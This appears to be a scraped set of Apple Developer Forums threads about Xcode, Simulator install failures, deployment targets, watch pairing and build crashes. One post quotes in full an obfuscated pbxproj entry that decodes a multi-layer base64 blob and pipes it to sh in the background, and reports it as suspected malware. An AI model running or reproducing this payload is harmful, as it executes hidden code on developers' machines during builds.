"com.brodywolfstudio.questionswecarry" "CFBundleInfoDictionaryVersion" => "6.0" "CFBundleName" => "QuestionsWeCarry" "CFBundlePackageType" => "APPL" "CFBundleShortVersionString" => "1.0" "CFBundleSupportedPlatforms" => [ 0 => "iPhoneSimulator" ] "CFBundleVersion" => "1" "DTCompiler" => "com.apple.compilers.llvm.clang.1_0" "DTPlatformBuild" => "23F81a" "DTPlatformName" => "iphonesimulator" "DTPlatformVersion" => "26.5" "DTSDKBuild" => "23F81a" "DTSDKName" => "iphonesimulator26.5" "DTXcode" => "2660" "DTXcodeBuild" => "17F113" "ITSAppUsesNonExemptEncryption" => false "MinimumOSVersion" => "17.0" "UIApplicationSceneManifest" => { "UIApplicationSupportsMultipleScenes" => false } "UIDeviceFamily" => [ 0 => 1 1 => 2 ] "UILaunchScreen" => { } } CFBundleIdentifier is present, correctly formed, and matches PRODUCT_BUNDLE_IDENTIFIER. file confirms this is a valid Apple binary property list, not corrupted. CODESIGN -DV ON THE BUILT APP CODESIGN -DV Executable=/QuestionsWeCarry.app/QuestionsWeCarry Identifier=QuestionsWeCarry-******* Format=bundle with Mach-O thin (arm64) CodeDirectory v=20400 size=338 flags=0x2(adhoc) hashes=3+3 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources version=2 rules=13 files=4 Internal requirements count=0 size=12 Note Info.plist=not bound — unclear whether this is expected for an ad-hoc-signed bundle app (as opposed to a framework), or is itself a symptom of the underlying problem. Reproduction Minimal, reproducible with the plain command-line tool — no Claude tooling involved in this step: SHELL xcrun simctl install "iPhone 17 Pro" "/DerivedData/Build/Products/Debug-iphonesimulator/QuestionsWeCarry.app" Result (100% reproducible, every attempt): STDERR An error was encountered processing the command (domain=IXErrorDomain, code=13): Simulator device failed to install the application. Missing bundle ID. Underlying error (domain=IXErrorDomain, code=13): Failed to get bundle ID from /QuestionsWeCarry.app Missing bundle ID. Also reproduced with xcrun simctl launch, which fails as a consequence: Isolation steps taken All of the following were tried, and none changed the outcome — the exact same "Missing bundle ID" error occurs every time: 01 Two signing configurations — unsigned/linker-signed (Sealed Resources=none) vs. proper ad-hoc sign (Sealed Resources version=2 rules=13 files=4), plus a manual codesign --force --deep --sign - re-sign pass. Same failure every time. 02 Two simulator destinations — generic/platform=iOS Simulator and a concrete device id for iPhone 17 Pro. 03 Two never-before-used simulator devices — iPhone 17 Pro and iPhone Air — ruling out per-device CoreSimulator state corruption. 04 Erase + cold boot — simctl shutdown, erase, boot immediately before a fresh install attempt. 05 Real Simulator.app GUI running — not just a headless simctl boot — ruled out a CoreSimulatorService/GUI dependency. 06 Path with no spaces — copied the .app out of a path containing "Application Support" — ruled out a path-quoting issue. The build itself is never in question — xcodebuild reports BUILD SUCCEEDED every time; only the subsequent simctl install step fails. What I'd like feedback on Is this a known issue with this specific Xcode 26.6 / iOS 26.5 Simulator runtime combination — both very recently installed, so possibly a fresh-install/first-boot bug? Is there a required build setting for this Xcode version not yet reflected in commonly-documented XcodeGen/xcodebuild recipes — e.g. an entitlements file now required even for simulator-only, no-team builds, or a different expected code-signing identity/format? Is Info.plist=not bound in the codesign -dv output actually abnormal for an app bundle (as opposed to a framework), and could that be the root cause simctl is choking on?
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541
Activity
Jul ’26
Connection issue between Apple Watch and Xcode
I'm developing an app for Apple Watch, but I can't connect the Apple Watch to Xcode when I try to run the app on the actual device. I get the following errors: A networking error occurred The device rejected the connection request and A connection to this device could not be established. Timed out while attempting to establish tunnel using negotiated network parameters. The iPhone connects to Xcode without any problem. I've already tried several things without success: Resetting the "trusted computers" settings and trusting the Mac again Restarting all of the devices Making sure all devices are on the same Wi-Fi network On the iPhone, I can see the Developer Mode toggle in Settings, but on the Apple Watch there doesn't seem to be a Developer Mode toggle at all. I'm wondering whether enabling Developer Mode is required in my case. Could anyone tell me how to enable Developer Mode on Apple Watch, or suggest any other way to resolve this issue? Here is my environment: Mac mini (M1, 2020), macOS Tahoe 26.4.1 Xcode 26.4.1 Apple Watch SE 3, watchOS 26.1 iPhone 13, iOS 26.5 Thanks in advance for any help.
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364
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Jul ’26
Minimum allowed IPHONEOS_DEPLOYMENT_TARGET for the AppStore
Hello, I am building a developer tool and for that I need to figure out which min deployment targets users technically may still specify in their Xcode projects. This page https://developer.apple.com/support/xcode indirectly says that both Xcode 26 and Xcode 27 allow setting IPHONEOS_DEPLOYMENT_TARGET only to iOS 15.0 and newer. Also https://developer.apple.com/news/upcoming-requirements/ now says that starting April 28 2026, the apps must be built with iOS SDK 26+, meaning only Xcode 26 and newer may be used for building the apps that go to the AppStore. However in fact in Xcode 26 I can specify older iOS deployment targets, as low as iOS 12. This post here https://developer.apple.com/forums/thread/805506?answerId=863871022#863871022 confirms that in fact it is possible to even submit the app to the AppStore with IPHONEOS_DEPLOYMENT_TARGET 12.0 There's also this post https://developer.apple.com/forums/thread/821370?answerId=882853022#882853022 that indirectly confirms that Apple still allows iOS 12.0 deployment target. Since Xcode 26 is still allowed to build apps for the AppStore even after Xcode 27.0 release, does that mean the developers may technically be able to keep specifying iOS 12, iOS 13, iOS 14 as deployment target when submitting their apps to the AppStore without having their apps rejected?
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2
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1.3k
Activity
Jul ’26
OS debug logs not visible in console when macOS is closed
Overview When the macOS app is closed, the os logs (debug) logs are not visible in the Console app. However even when the iOS app is closed / killed, the os logs (debug) logs are visible in the Console app. What I have tried Console app menu Action > Include Debug Messages is checked Searched by subsystem Created a macOS app from the archive by choosing selecting Debugging option Note OS debug logs are visible when the macOS app is open Questions How can I make macOS debug logs visible in the Console app when the Mac app is closed? Should I be searching by some other fields? Or is there any other alternative / workaround this because I need to debug this scenario when app is closed?
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10
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846
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Jul ’26
I would like to know if anyone else is experiencing the same issue.
Our company enrolled in the Apple Developer Program as an Organization. Apple successfully created our D-U-N-S Number, but our enrollment has remained "Being Processed" for an extended period. I have contacted Apple Developer Support three times regarding this issue. Each time, I received only the automated acknowledgment email, and the same Case ID was referenced every time. However, I have never received any response from a support representative. At this point, our company is completely blocked from publishing our iOS application. Has anyone experienced the same issue recently? If so, how was it resolved? If an Apple Developer Support representative sees this post, I would sincerely appreciate it if you could review my case or advise on the next steps. Thank you.
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1
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868
Activity
Jul ’26
UIDesignRequiresCompatibility support clarification.
Hello, Could someone from Apple clarify the support and behavior of the UIDesignRequiresCompatibility property? The UIDesignRequiresCompatibility documentation states that this property will be ignored for builds targeting iOS 27 or later. I have a couple of questions: Does "builds targeting iOS 27 or later" refer to an app that was built using Xcode 27 or later? iOS 27 is expected to be released in Fall 2026. Suppose that after iOS 27 is released, I create a new build using Xcode 26, with UIDesignRequiresCompatibility set to true, and install that build on an iOS 27 device. Will UIDesignRequiresCompatibility still be honored in this scenario, or will it be ignored and the app will use the Liquid Glass UI? Thanks!
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1.1k
Activity
Jul ’26
Unexpected entry being added to my project's project.pbxproj file by Xcode
I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.
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2
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557
Activity
Jul ’26
Xcode build keeps crashing
Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël
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330
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Jul ’26
Feature Request: Allow External AI Coding Agents to Access Xcode via MCP, CLI, or an Automation API
The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.
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2
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687
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Jul ’26
Xcode 27 release notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported
The release notes at https://developer.apple.com/documentation/xcode-release-notes/xcode-27-release-notes mention that the minimum deployment target is macOS 11.0, but Xcode itself says that only macOS 12.0 to 27.0 are supported. Which one is correct, Xcode or the release notes? I created FB23514411.
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530
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Jul ’26
SwiftUI Instruments Template doesn't work
I am profiling a simple SwiftUI test app on my new iPhone through my new MacBook Pro and everything is version 26.2 (iOS, macOS, Xcode). I run Instruments with the SwiftUI template using all of the default settings and get absolutely zero data after interacting with the app for about 20 seconds. Using the Time Profiler template yields trace data. Trying the SwiftUI template again with the sample Landmarks app has the same issue as my app.
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1.5k
Activity
Jul ’26